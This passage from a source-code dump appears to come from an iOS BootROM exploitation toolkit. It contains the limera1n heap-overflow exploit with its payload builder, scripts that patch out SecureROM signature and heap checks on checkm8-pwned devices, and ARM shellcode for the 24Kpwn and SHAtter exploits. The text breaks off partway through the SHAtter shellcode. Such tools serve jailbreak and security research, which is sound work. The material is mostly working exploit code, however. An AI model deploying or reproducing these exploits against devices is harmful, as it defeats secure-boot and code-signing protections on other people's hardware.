recovery.release_device(device)\n\n        if opt == '-f':\n            try:\n                with open(arg, 'rb') as f:\n                    data = f.read()\n            except IOError:\n                print 'ERROR: Could not read file:', arg\n                sys.exit(1)\n\n            device = recovery.acquire_device()\n            recovery.send_data(device, data)\n            recovery.release_device(device)\n\n        if opt == '--exit-recovery-loop':\n            device = recovery.acquire_device()\n\n            # TODO: getenv auto-boot first and fail if it is already true.\n            recovery.send_command(device, 'setenv auto-boot true')\n            recovery.send_command(device, 'saveenv')\n            try:\n                recovery.send_command(device, 'reboot')\n            except usb.core.USBError:\n                # OK: this is expected when rebooting\n                pass\n\n            recovery.release_device(device)\n\n        if opt == '--enable-uart':\n            device = recovery.acquire_device()\n\n            # TODO: getenv debug-uarts first and fail if it is already 3.\n            recovery.send_command(device, 'setenv debug-uarts 3')\n            recovery.send_command(device, 'saveenv')\n            try:\n                recovery.send_command(device, 'reboot')\n            except usb.core.USBError:\n                # OK: this is expected when rebooting\n                pass\n\n            recovery.release_device(device)\n"
  },
  {
    "path": "libusbfinder/__init__.py",
    "content": "import hashlib, os, platform, cStringIO, tarfile\n\nclass VersionConfig:\n    def __init__(self, version, bottle, bottle_sha256, dylib_patches, dylib_sha256):\n        self.version = version\n        self.bottle = bottle\n        self.bottle_sha256 = bottle_sha256\n        self.dylib_patches = dylib_patches\n        self.dylib_sha256 = dylib_sha256\n\nconfigs = [\n    VersionConfig(\n        version='10.14',\n        bottle='libusb-1.0.22.mojave.bottle',\n        bottle_sha256='6accd1dfe6e66c30aac825ad674e9c7a48b752bcf84561e9e2d397ce188504ff',\n        dylib_patches=[(0x8fd1, 'E985000000'.decode('hex'))],\n        dylib_sha256='34d4c0ca821a31f83f3860575f9683cdb8fc5cbd4167383eedfb8b2ba7f7d9d5'),\n    VersionConfig(\n        version='10.13',\n        bottle='libusb-1.0.22.high_sierra.bottle',\n        bottle_sha256='7b1fd86a5129620d1bbf048c68c7742ecad450de138b8186bf8e985a752b2302',\n        dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],\n        dylib_sha256='7bd48a3a9955fc20752433f944f61d58d5ec9b68d25dcfab1671f3c82339c4f8'),\n    VersionConfig(\n        version='10.12',\n        bottle='libusb-1.0.22.sierra.bottle',\n        bottle_sha256='7f2b65d09525c432a86e46699a1448bab36503f45f16d6e0d8f42be6b1ef55cf',\n        dylib_patches=[(0x98fb, 'E97F000000'.decode('hex'))],\n        dylib_sha256='0d386845a96fa0457cb6c200f956c9b0d5f236729ef1e2cff34cd312f8cfc7ba'),\n    VersionConfig(\n        version='10.11',\n        bottle='libusb-1.0.22.el_capitan.bottle',\n        bottle_sha256='33575c9f56bc0d57bf985a21e40be019d5c269b432939416be8f24c5921bbb28',\n        dylib_patches=[(0x9917, 'E956010000'.decode('hex'))],\n        dylib_sha256='7ae848e0e8730bf8de48bb534a8ee42eb301a2f6ba6cc188228ce8bf79a6ba07'),\n    VersionConfig(\n        version='10.10',\n        bottle='libusb-1.0.21.yosemite.bottle',\n        bottle_sha256='8831059f7585ed973d983dd82995e1732c240a78f4f7a82e5d5c7dfe27d49941',\n        dylib_patches=[],\n        dylib_sha256='8e89265251d119f3422a760cf3472ecc46b7c3d22598600905dd5595a1ec146a'),\n    VersionConfig(\n        version='10.9',\n        bottle='libusb-1.0.20.mavericks.bottle.1',\n        bottle_sha256='5a475e2ca93886e51b994d1ea323e915c91d8463e5b23b45203acb69edf69981',\n        dylib_patches=[],\n        dylib_sha256='8f21fc0af0c7b04e7db988e1fc66ea9dbc31289096c68416140152d70138c316'),\n    VersionConfig(\n        version='10.8',\n        bottle='libusb-1.0.19.mountain_lion.bottle.1',\n        bottle_sha256='d5c4bd99b359a8319d49e06b6b13fc529f91a5bd61ce5a8ff14c291b44b676da',\n        dylib_patches=[],\n        dylib_sha256='0490800ca9ff82d37c310a09f9bd29aaa87143cf86b35d94b170617ec9d127bb'),\n]\n\ndir = os.path.dirname(__file__)\nBOTTLE_PATH_FORMAT = os.path.join(dir, 'bottles', '%s.tar.gz')\nDYLIB_PATH_FORMAT = os.path.join(dir, '%s.dylib')\nDYLIB_NAME = 'libusb-1.0.0.dylib'\n\ndef apply_patches(binary, patches):\n    for (offset, data) in patches:\n        binary = binary[:offset] + data + binary[offset + len(data):]\n    return binary\n\ndef libusb1_path_internal():\n    version = platform.mac_ver()[0]\n    # HACK to support macOS 10.15\n    if version == '10.15':\n        version = '10.14'\n    if version == '':\n        # We're not running on a Mac.\n        return None\n\n    for config in configs:\n        if version.startswith(config.version):\n            path = DYLIB_PATH_FORMAT % config.bottle\n            try:\n                f = open(path, 'rb')\n                dylib = f.read()\n                f.close()\n                if hashlib.sha256(dylib).hexdigest() == config.dylib_sha256:\n                    return path\n                print 'WARNING: SHA256 hash of existing dylib does not match.'\n            except IOError:\n                pass\n\n            f = open(BOTTLE_PATH_FORMAT % config.bottle, 'rb')\n            bottle = f.read()\n            f.close()\n            if hashlib.sha256(bottle).hexdigest() != config.bottle_sha256:\n                print 'ERROR: SHA256 hash of bottle does not match.'\n                sys.exit(1)\n\n            tar = tarfile.open(fileobj=cStringIO.StringIO(bottle))\n            for member in tar.getmembers():\n                if member.name.endswith(DYLIB_NAME):\n                    patched_dylib = apply_patches(tar.extractfile(member.name).read(), config.dylib_patches)\n                    if hashlib.sha256(patched_dylib).hexdigest() != config.dylib_sha256:\n                        print 'ERROR: SHA256 hash of new dylib does not match.'\n                        sys.exit(1)\n                    f = open(path, 'wb')\n                    f.write(patched_dylib)\n                    f.close()\n                    return path\n\n    # No match found.\n    return None\n\ncached_path = libusb1_path_internal()\n\ndef libusb1_path():\n    return cached_path\n"
  },
  {
    "path": "limera1n.py",
    "content": "# Credit: This file is based on limera1n exploit (heap overflow) by geohot.\n\nimport array, ctypes, struct, sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport dfu\n\n# Must be global so garbage collector never frees it \nrequest = None\ntransfer_ptr = None\n\nconstants_359_3 = [\n    0x84031800, #  1 - RELOCATE_SHELLCODE_ADDRESS\n          1024, #  2 - RELOCATE_SHELLCODE_SIZE\n        0x83d4, #  3 - memmove\n    0x84034000, #  4 - MAIN_STACK_ADDRESS\n        0x43c9, #  5 - nor_power_on\n        0x5ded, #  6 - nor_init\n    0x84024820, #  7 - gUSBSerialNumber\n        0x8e7d, #  8 - strlcat\n        0x349d, #  9 - usb_wait_for_image\n    0x84000000, # 10 - LOAD_ADDRESS\n       0x24000, # 11 - MAX_SIZE\n    0x84024228, # 12 - gLeakingDFUBuffer\n        0x1ccd, # 13 - free\n    0x65786563, # 14 - EXEC_MAGIC\n        0x1f79, # 15 - memz_create\n        0x3969, # 16 - jump_to\n        0x1fa1, # 17 - memz_destroy\n          0x60, # 18 - IMAGE3_LOAD_SP_OFFSET\n          0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET\n        0x1fe5, # 20 - image3_create_struct\n        0x2655, # 21 - image3_load_continue\n        0x277b, # 22 - image3_load_fail\n]\n\nconstants_359_3_2 = [\n    0x84031800, #  1 - RELOCATE_SHELLCODE_ADDRESS\n          1024, #  2 - RELOCATE_SHELLCODE_SIZE\n        0x83dc, #  3 - memmove\n    0x84034000, #  4 - MAIN_STACK_ADDRESS\n        0x43d1, #  5 - nor_power_on\n        0x5df5, #  6 - nor_init\n    0x84024820, #  7 - gUSBSerialNumber\n        0x8e85, #  8 - strlcat\n        0x34a5, #  9 - usb_wait_for_image\n    0x84000000, # 10 - LOAD_ADDRESS\n       0x24000, # 11 - MAX_SIZE\n    0x84024228, # 12 - gLeakingDFUBuffer\n        0x1ccd, # 13 - free\n    0x65786563, # 14 - EXEC_MAGIC\n        0x1f81, # 15 - memz_create\n        0x3971, # 16 - jump_to\n        0x1fa9, # 17 - memz_destroy\n          0x60, # 18 - IMAGE3_LOAD_SP_OFFSET\n          0x50, # 19 - IMAGE3_LOAD_STRUCT_OFFSET\n        0x1fed, # 20 - image3_create_struct\n        0x265d, # 21 - image3_load_continue\n        0x2783, # 22 - image3_load_fail\n]\n\nconstants_359_5 = [\n    0x84031800, #  1 - RELOCATE_SHELLCODE_ADDRESS\n          1024, #  2 - RELOCATE_SHELLCODE_SIZE\n        0x8564, #  3 - memmove\n    0x84034000, #  4 - MAIN_STACK_ADDRESS\n        0x43b9, #  5 - nor_power_on\n        0x5f75, #  6 - nor_init\n    0x84024750, #  7 - gUSBSerialNumber\n        0x901d, #  8 - strlcat\n        0x36e5, #  9 - usb_wait_for_image\n    0x84000000, # 10 - LOAD_ADDRESS\n       0x24000, # 11 - MAX_SIZE\n    0x84024158, # 12 - gLeakingDFUBuffer\n        0x1a51, # 13 - free\n    0x65786563, # 14 - EXEC_MAGIC\n        0x1f25, # 15 - memz_create\n        0x39dd, # 16 - jump_to\n        0x1f0d, # 17 - memz_destroy\n          0x64, # 18 - IMAGE3_LOAD_SP_OFFSET\n          0x60, # 19 - IMAGE3_LOAD_STRUCT_OFFSET\n        0x2113, # 20 - image3_create_struct\n        0x2665, # 21 - image3_load_continue\n        0x276d, # 22 - image3_load_fail\n]\n\nconstants_574_4 = [\n    0x84039800, #  1 - RELOCATE_SHELLCODE_ADDRESS\n          1024, #  2 - RELOCATE_SHELLCODE_SIZE\n        0x84dc, #  3 - memmove\n    0x8403c000, #  4 - MAIN_STACK_ADDRESS\n        0x4e8d, #  5 - nor_power_on\n        0x690d, #  6 - nor_init\n    0x8402e0e0, #  7 - gUSBSerialNumber\n        0x90c9, #  8 - strlcat\n        0x4c85, #  9 - usb_wait_for_image\n    0x84000000, # 10 - LOAD_ADDRESS\n       0x2c000, # 11 - MAX_SIZE\n    0x8402dbcc, # 12 - gLeakingDFUBuffer\n        0x3b95, # 13 - free\n    0x65786563, # 14 - EXEC_MAGIC\n        0x7469, # 15 - memz_create\n        0x5a5d, # 16 - jump_to\n        0x7451, # 17 - memz_destroy\n          0x68, # 18 - IMAGE3_LOAD_SP_OFFSET\n          0x64, # 19 - IMAGE3_LOAD_STRUCT_OFFSET\n        0x412d, # 20 - image3_create_struct\n        0x46db, # 21 - image3_load_continue\n        0x47db, # 22 - image3_load_fail\n]\n\nclass DeviceConfig:\n    def __init__(self, version, cpid, exploit_lr, max_size, constants):\n        self.version = version\n        self.cpid = cpid\n        self.exploit_lr = exploit_lr\n        self.max_size = max_size\n        self.constants = constants\n\nconfigs = [\n    DeviceConfig('359.3',   '8920', 0x84033FA4, 0x24000, constants_359_3),   # S5L8920 (old bootrom)\n    DeviceConfig('359.3.2', '8920', 0x84033FA4, 0x24000, constants_359_3_2), # S5L8920 (new bootrom)\n    DeviceConfig('359.5',   '8922', 0x84033F98, 0x24000, constants_359_5),   # S5L8922\n    DeviceConfig('574.4',   '8930', 0x8403BF9C, 0x2C000, constants_574_4),   # S5L8930\n]\n\ndef create_control_transfer(device, request, timeout):\n    ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)\n    assert ptr is not None\n\n    transfer = ptr.contents\n    transfer.dev_handle = device._ctx.handle.handle\n    transfer.endpoint = 0 # EP0\n    transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL\n    transfer.timeout = timeout\n    transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer\n    transfer.length = len(request)\n    transfer.user_data = None\n    transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL\n    transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER\n\n    return ptr\n\ndef limera1n_libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):\n    if usb.backend.libusb1._lib is not device._ctx.backend.lib:\n        print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'\n        sys.exit(1)\n\n    request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)\n    transfer_ptr = create_control_transfer(device, request, timeout)\n    assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0\n\n    time.sleep(timeout / 1000.0)\n\n    # Prototype of libusb_cancel_transfer is missing from pyusb\n    usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]\n    assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0\n\ndef generate_payload(constants, exploit_lr):\n    with open('bin/limera1n-shellcode.bin', 'rb') as f:\n        shellcode = f.read()\n\n    # Shellcode has placeholder values for constants; check they match and replace with constants from config\n    placeholders_offset = len(shellcode) - 4 * len(constants)\n    for i in range(len(constants)):\n        offset = placeholders_offset + 4 * i\n        (value,) = struct.unpack('<I', shellcode[offset:offset + 4])\n        assert value == 0xBAD00001 + i\n\n    shellcode_address = 0x84000400 + 1\n    heap_block = struct.pack('<4I48s', 0x405, 0x101, shellcode_address, exploit_lr, '\\xCC' * 48)\n    return heap_block * 16 + shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants)\n\ndef exploit():\n    print '*** based on limera1n exploit (heap overflow) by geohot ***'\n\n    device = dfu.acquire_device()\n    print 'Found:', device.serial_number\n\n    if 'PWND:[' in device.serial_number:\n        print 'Device is already in pwned DFU Mode. Not executing exploit.'\n        return\n    \n    chosenConfig = None\n    for config in configs:\n        if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:\n            chosenConfig = config\n            break\n    if chosenConfig is None:\n        for config in configs:\n            if 'CPID:%s' % config.cpid in device.serial_number:\n                print 'ERROR: CPID is compatible, but serial number string does not match.'\n                print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'\n                sys.exit(1)\n        print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.'\n        sys.exit(1)\n    \n    dfu.send_data(device, generate_payload(chosenConfig.constants, chosenConfig.exploit_lr))\n\n    assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1\n\n    limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 10)\n\n    try:\n        device.ctrl_transfer(0x21, 2, 0, 0, 0, 10)\n        print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.'\n        sys.exit(1)\n    except usb.core.USBError:\n        # OK: This request should have raised USBError.\n        pass\n\n    dfu.usb_reset(device)\n    dfu.release_device(device)\n    \n    device = dfu.acquire_device()\n    dfu.request_image_validation(device)\n    dfu.release_device(device)\n\n    time.sleep(0.5)\n\n    device = dfu.acquire_device()\n    failed = 'PWND:[limera1n]' not in device.serial_number\n    dfu.release_device(device)\n\n    if failed:\n        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'\n        sys.exit(1)\n\n    print 'Device is now in pwned DFU Mode.'\n"
  },
  {
    "path": "nor-backups/README",
    "content": "Your NOR backups will be stored here.\n"
  },
  {
    "path": "nor.py",
    "content": "import binascii, struct\n\nNOR_SIZE = 0x100000\n\nclass NorData():\n    def __init__(self, dump):\n        assert len(dump) == NOR_SIZE\n\n        (img2_magic, self.block_size, unused, firmware_block, firmware_block_count) = struct.unpack('<4s4I', dump[:20])\n        (img2_crc,) = struct.unpack('<I', dump[48:52])\n        assert img2_crc == binascii.crc32(dump[:48]) & 0xffffffff\n\n        self.firmware_offset = self.block_size * firmware_block\n        self.firmware_length = self.block_size * firmware_block_count\n        self.parts = [\n          dump[0:52],\n          dump[52:512],\n          dump[512:self.firmware_offset],\n          dump[self.firmware_offset:self.firmware_offset + self.firmware_length],\n          dump[self.firmware_offset + self.firmware_length:]\n        ]\n\n        self.images = []\n        offset = 0\n        while 1:\n            (magic, size) = struct.unpack('<4sI', self.parts[3][offset:offset+8])\n            if magic != 'Img3'[::-1] or size == 0:\n                break\n            self.images.append(self.parts[3][offset:offset + size])\n            offset += size\n\n    def dump(self):\n        # Replace self.parts[3] with content of self.images\n        all_images = ''.join(self.images)\n        all_images += '\\xff' * (self.firmware_length - len(all_images))\n        dump = self.parts[0] + self.parts[1] + self.parts[2] + all_images + self.parts[4]\n        assert len(dump) == NOR_SIZE\n        return dump\n"
  },
  {
    "path": "recovery.py",
    "content": "import sys, time\nimport usb # pyusb: use 'pip install pyusb' to install this module\nimport usb.backend.libusb1\nimport libusbfinder\n\nMAX_PACKET_SIZE = 0x4000\n\ndef acquire_device(timeout=10):\n    backend = usb.backend.libusb1.get_backend(find_library=lambda x:libusbfinder.libusb1_path())\n    #print 'Acquiring device handle',\n    start = time.time()\n    # Keep retrying for up to timeout seconds if device is not found.\n    while time.time() - start < timeout:\n        device = usb.core.find(idVendor=0x5AC, idProduct=0x1281, backend=backend)\n        if device is not None:\n            return device\n        sys.stdout.flush()\n        time.sleep(0.1)\n    print 'ERROR: No Apple device in Recovery Mode 0x1281 detected. Exiting.'\n    sys.exit(1)\n\ndef release_device(device):\n    #print 'Releasing device handle.'\n    usb.util.dispose_resources(device)\n\ndef send_command(device, command):\n    # TODO: Add assert?\n    device.ctrl_transfer(0x40, 0, 0, 0, command + '\\x00', 30000)\n\ndef send_data(device, data):\n    #print 'Sending 0x%x of data to device.' % len(data)\n    assert device.ctrl_transfer(0x41, 0, 0, 0, 0, 1000) == 0\n    index = 0\n    while index < len(data):\n        amount = min(len(data) - index, MAX_PACKET_SIZE)\n        assert device.write(0x04, data[index:index + amount], 1000) == amount\n        index += amount\n"
  },
  {
    "path": "rmsigchks.py",
    "content": "import dfu\nimport usbexec\nimport sys\nimport usb.core\n\nHOST2DEVICE = 0x21\nDEVICE2HOST = 0xA1\n\nDFU_DNLOAD = 1\nDFU_ABORT = 4\n\nclass DeviceConfig:\n    def __init__(self, version, cpid, patches):\n        self.version = version\n        self.cpid    = cpid\n        self.patches = patches\n\ndef all_exploit_configs():\n    s5l8960x_patches = {\n        0x1000054e4: \"\\x1f\\x20\\x03\\xd5\",\n        0x1000054b4: b\"\".join([\n            b\"\\x21\\x00\\x80\\x52\", # mov w1, 1\n            b\"\\xe1\\x9f\\x02\\x39\", # strb w1, [sp,#0xA7]\n            b\"\\x1f\\x20\\x03\\xd5\", # nop\n            b\"\\xe1\\xa7\\x02\\x39\", # strb w1, [sp,#0xA9]\n            b\"\\xe1\\xab\\x02\\x39\", # strb w1, [sp,#0xAA]\n            b\"\\x1f\\x20\\x03\\xd5\", # nop\n            b\"\\x1f\\x20\\x03\\xd5\", # nop\n            b\"\\x1f\\x20\\x03\\xd5\", # nop\n            b\"\\x1f\\x20\\x03\\xd5\", # nop\n        ])\n    }\n    \n    t8011_patches = {\n        0x100006df8: \"\\x21\\x00\\x80\\x52\\xe1\\xb7\\x03\\x39\\xe1\\xb3\\x03\\x39\\xe1\\xbb\\x03\\x39\",\n        0x100006e0c: \"\\x1f\\x20\\x03\\xd5\", # nop\n        0x100006e10: \"\\x1f\\x20\\x03\\xd5\", # nop\n        0x100006e14: \"\\x1f\\x20\\x03\\xd5\", # nop\n        0x10000f2d0: \"\\x00\\x00\\x80\\xd2\\xc0\\x03\\x5f\\xd6\"\n    }\n\n    return [\n        DeviceConfig(\"iBoot-1704.10\", 0x8960, s5l8960x_patches),\n        DeviceConfig(\"iBoot-3135.0.0.2.3\", 0x8011, t8011_patches),\n    ]\n\ndef exploit_config(serial_number):\n    for config in all_exploit_configs():\n        if \"SRTG:[%s]\" % config.version in serial_number:\n            return config\n    for config in all_exploit_configs():\n        if \"CPID:%s\" % config.cpid in serial_number:\n            print \"ERROR: CPID is compatible, but serial number string does not match.\"\n            print \"Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.\"\n            sys.exit(1)\n    print \"ERROR: This is not a compatible device. Exiting.\"\n    print \"Right now, only the iPhone 5s is compatible.\"\n    sys.exit(1)\n\ndef main():\n    print \"*** SecureROM Signature check remover by Linus Henze ***\"\n    device = dfu.acquire_device()\n    print \"Found:\", device.serial_number\n    if not \"PWND:[\" in device.serial_number:\n        print \"Please enable pwned DFU Mode first.\"\n        sys.exit(1)\n    if not \"PWND:[checkm8]\" in device.serial_number:\n        print \"Only devices pwned using checkm8 are supported.\"\n        sys.exit(1)\n    config = exploit_config(device.serial_number)\n    print \"Applying patches...\"\n    try:\n        pdev = usbexec.PwnedUSBDevice()\n    except usb.core.USBError:\n        print \"Patches have already been applied. Exiting.\"\n        sys.exit(0)\n    for k in config.patches.keys():\n        pdev.write_memory(k, config.patches[k])\n    print \"Successfully applied patches\"\n    print \"Resetting device state\"\n    print \"* This will effectiveley disable pwned DFU Mode\"\n    print \"* Only the signature patches will remain\"\n    # Send abort\n    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)\n    # Perform USB reset\n    dfu.usb_reset(device)\n    dfu.release_device(device)\n    print \"Device is now ready to accept unsigned images\"\n\nif __name__ == \"__main__\":\n\tmain()\n"
  },
  {
    "path": "rmsigchks_t8015.py",
    "content": "import dfu\nimport usbexec\nimport sys\nimport usb.core\nimport struct\nimport binascii\n\nHOST2DEVICE = 0x21\nDEVICE2HOST = 0xA1\n\nDFU_DNLOAD = 1\nDFU_ABORT = 4\n\n\nREMAP_PAGE  = 0x000000010000c000 #heapcheck\nREMAP_PAGE2 = 0x0000000100004000 #sigcheck\n\nSRAM_PAGETABLE_PAGE = 0x0000000180014000 #works\n\nSRAM_REMAP_PAGE  = 0x00000001801f8000\nSRAM_REMAP_PAGE2 = 0x00000001801f4000\n\nPAGE_SIZE = 0x4000\n\ndef makePTE_Page_16K(addr):\n    addr >>= 14\n    e = 0b11            #valid and isPage\n    e |= 1      << 2    #attrIndex 1\n    e |= 0b10   << 6    #AP R- in EL1, -- in EL0\n    e |= 1      << 10   #AF\n    e |= addr   << 14   #outputAddress\n    return e\n\ndef makePTE_Table_16K(addr):\n    addr >>= 14\n    e = 0b11            #valid and isTable\n    e |= addr   << 14   #outputAddress\n    return e\n\n\ndef main():\n    print \"*** SecureROM t8015 sigcheckpath by tihmstar ***\"\n    device = dfu.acquire_device()\n    print \"Found:\", device.serial_number\n    if not \"PWND:[\" in device.serial_number:\n        print \"Please enable pwned DFU Mode first.\"\n        sys.exit(1)\n    if not \"PWND:[checkm8]\" in device.serial_number:\n        print \"Only devices pwned using checkm8 are supported.\"\n        sys.exit(1)\n    dfu.release_device(device)\n\n    device = usbexec.PwnedUSBDevice()\n\n    #make Level3 Table\n    l3table = \"\"\n    for addr in range(0x0000000100000000,0x0000000100100000,PAGE_SIZE):\n        entry = struct.pack(\"<Q\",makePTE_Page_16K(addr))\n        if addr == REMAP_PAGE: #we are remapping heapcheck page\n            entry = struct.pack(\"<Q\",makePTE_Page_16K(SRAM_REMAP_PAGE))\n        elif addr == REMAP_PAGE2: #we are remapping sigcheck page\n            entry = struct.pack(\"<Q\",makePTE_Page_16K(SRAM_REMAP_PAGE2))\n        l3table += entry\n\n    #we write L3 Table here\n    device.write_memory(SRAM_PAGETABLE_PAGE,l3table)\n\n    #remap heapcheck page to sram\n    device.memcpy(SRAM_REMAP_PAGE,REMAP_PAGE,PAGE_SIZE)\n\n    #remap sigcheck page to sram\n    device.memcpy(SRAM_REMAP_PAGE2,REMAP_PAGE2,PAGE_SIZE)\n\n    # patch heap corruption check\n    device.write_memory(0x000000010000db98-REMAP_PAGE+SRAM_REMAP_PAGE,\"\\xC0\\x03\\x5F\\xD6\")\n\n    #patch codesigs\n    device.write_memory(0x000000010000624c-REMAP_PAGE2+SRAM_REMAP_PAGE2,\"\\x00\\x00\\x80\\xD2\")\n\n    #L2 Table point to L3\n    device.write_memory(0x000000018000c400,struct.pack(\"<Q\",makePTE_Table_16K(SRAM_PAGETABLE_PAGE)))\n\n    #memory barrier\n    device.execute(0,0x1000004F0)\n\n    #flush tlb\n    device.execute(0,0x1000004AC)\n\n\n    print(\"done remapping and patching page\")\n    device = dfu.acquire_device()\n\n    device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)\n    # Perform USB reset\n    try:\n        dfu.usb_reset(device)\n        dfu.release_device(device)\n    except:\n        pass\n    print \"Device is now ready to accept unsigned images\"\n\n\nif __name__ == \"__main__\":\n\tmain()\n"
  },
  {
    "path": "src/24Kpwn-shellcode.S",
    "content": "@ 24Kpwn-shellcode.S\n@ Author: axi0mX\n@ Shellcode for 24Kpwn exploit.\n\n.text\n\n.pool\n.set SHA1_DWORD_ADDRESS,                0x840241cc\n.set SHA1_DWORD_VALUE,                  0x80100040\n.set NEW_LR_ADDRESS,                    0x84033f18\n.set NEW_LR_VALUE,                          0x2655\n.set NEW_PC_VALUE,                          0x21ed\n\n.global _start\n\n_start:\n.code 16\n    LDR R0, =SHA1_DWORD_ADDRESS\n    LDR R1, =SHA1_DWORD_VALUE\n    STR R1, [R0]                                @ *SHA1_DWORD_ADDRESS = SHA1_DWORD_VALUE\n\n    LDR R0, =NEW_LR_ADDRESS\n    LDR R1, =NEW_LR_VALUE\n    STR R1, [R0]                                @ *NEW_LR_ADDRESS = NEW_LR_VALUE\n\n    ADD SP, SP, #0x48                           @ SP += 0x48\n\n    LDR R0, =NEW_PC_VALUE\n    BX R0                                       @ goto NEW_PC_VALUE\n"
  },
  {
    "path": "src/SHAtter-shellcode.S",
    "content": "@ SHAtter-shellcode.S\n@ Author: axi0mX\n@ Shellcode for SHAtter exploit with minor improvements:\n@ * supports 'exec' magic for code execution over USB\n@ * reports PWND:[SHAtter] in USB serial number string\n\n.text\n\n.pool\n.set free,                              0x3b95\n.set memz_create,                       0x7469\n.set memz_destroy,                      0x7451\n.set image3_create_struct,              0x412d\n.set image3_load_continue,              0x46db\n.set image3_load_fail,                  0x47db\n.set usb_wait_for_image,                0x4c85\n.set jump_to,                           0x5a5d\n.set nor_power_on,                      0x4e8d\n.set nor_init,                          0x690d\n.set memmove,                           0x84dc\n.set strlcat,                           0x90c9\n.set invalidate_instruction_cache,      0x6480\n.set usb_shutdown,                      0x712d\n\n.set gLeakingDFUBuffer,             0x8402dbcc\n.set gUSBSerialNumber,              0x8402e0e0\n\n.set RELOCATE_SHELLCODE_ADDRESS,    0x84039800\n.set RELOCATE_SHELLCODE_SIZE,             1024\n.set MAIN_STACK_ADDRESS,            0x8403c000\n.set LOAD_ADDRESS,                  0x84000000\n.set MAX_SIZE,                         0x2c000\n.set EXEC_MAGIC,                    0x65786563\n.set IMAGE3_LOAD_SP_OFFSET,               0x68\n.set IMAGE3_LOAD_STRUCT_OFFSET,           0x64\n.set SECUREROM_ADDRESS,             0xbf000000\n.set SECUREROM_DATA_ADDRESS,        0xbf00c000\n.set DATA_ADDRESS,                  0x8402c000\n.set DATA_COPY_SIZE,                     0x140\n\n_start: .global _start\n\n.code 16\n    MOV R0, #0\n    LDR R1, =SECUREROM_ADDRESS\n    MOV R2, #128\n    LDR R3, =memmove\n    BLX R3                                      @ memmove(0, SECUREROM_ADDRESS, 128)\n\n    LDR R0, =DATA_ADDRESS\n    LDR R1, =SECUREROM_DATA_ADDRESS\n    LDR R2, =DATA_COPY_SIZE\n    LDR R3, =memmove\n    BLX R3                                      @ memmove(DATA_ADDRESS, SECUREROM_DATA_ADDRESS, DATA_COPY_SIZE)\n\n    LDR R3, =usb_shutdown\n    BLX R3                                      @ usb_shutdown()\n\n    LDR R3, =invalidate_instruction_cache\n    BLX R3                                      @ invalidate_instruction_cache()\n\nrelocate_shellcode:\n    MOV R1, PC\n    SUB R1, R1, #4                              @ R1 = PC - 4\n\n    LDR R0, =RELOCATE_SHELLCODE_ADDRESS\n    CMP R0, R1\n    BEQ pwned_dfu_start                         @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start\n\n    LDR R2, =RELOCATE_SHELLCODE_SIZE\n    LDR R3, =memmove\n    BLX R3                                      @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)\n\n    LDR R3, =RELOCATE_SHELLCODE_ADDRESS\n    ADD R3, R3, #1\n    BX R3                                       @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)\n\npwned_dfu_start:\n    LDR R0, =MAIN_STACK_ADDRESS\n    SUB R0, R0, #12\n    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS - 12\n\n    MOV R0, #1\n    MOV R1, #1\n    MOV R2, #0\n    LDR R3, =nor_power_on\n    BLX R3                                      @ nor_power_on(1, 1, 0)\n\n    MOV R0, #0\n    LDR R3, =nor_init\n    BLX R3                                      @ nor_init(0)\n\n    LDR R0, =gUSBSerialNumber\n    ADR R1, PWND_STRING\n    MOV R2, #120\n    LDR R3, =strlcat\n    BLX R3                                      @ strlcat(gUSBSerialNumber, PWND_STRING, 120)\n\npwned_dfu_loop:\n    LDR R3, =usb_wait_for_image\n    LDR R0, =LOAD_ADDRESS\n    LDR R1, =MAX_SIZE\n    BLX R3                                      @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)\n\n    MOV R4, R0                                  @ R4 = R0\n\n    LDR R1, =gLeakingDFUBuffer\n    LDR R0, [R1]                                @ R0 = gLeakingDFUBuffer\n\n    MOV R2, #0\n    STR R2, [R1]                                @ gLeakingDFUBuffer = 0\n\n    LDR R3, =free\n    BLX R3                                      @ free(R0)\n\n    CMP R4, #0\n    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop\n\n    LDR R5, =LOAD_ADDRESS\n    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]\n\n    LDR R1, =EXEC_MAGIC\n    CMP R0, R1\n    BNE pwned_dfu_not_exec_magic                @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic\n\n    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */\n\n    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */\n\n    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]    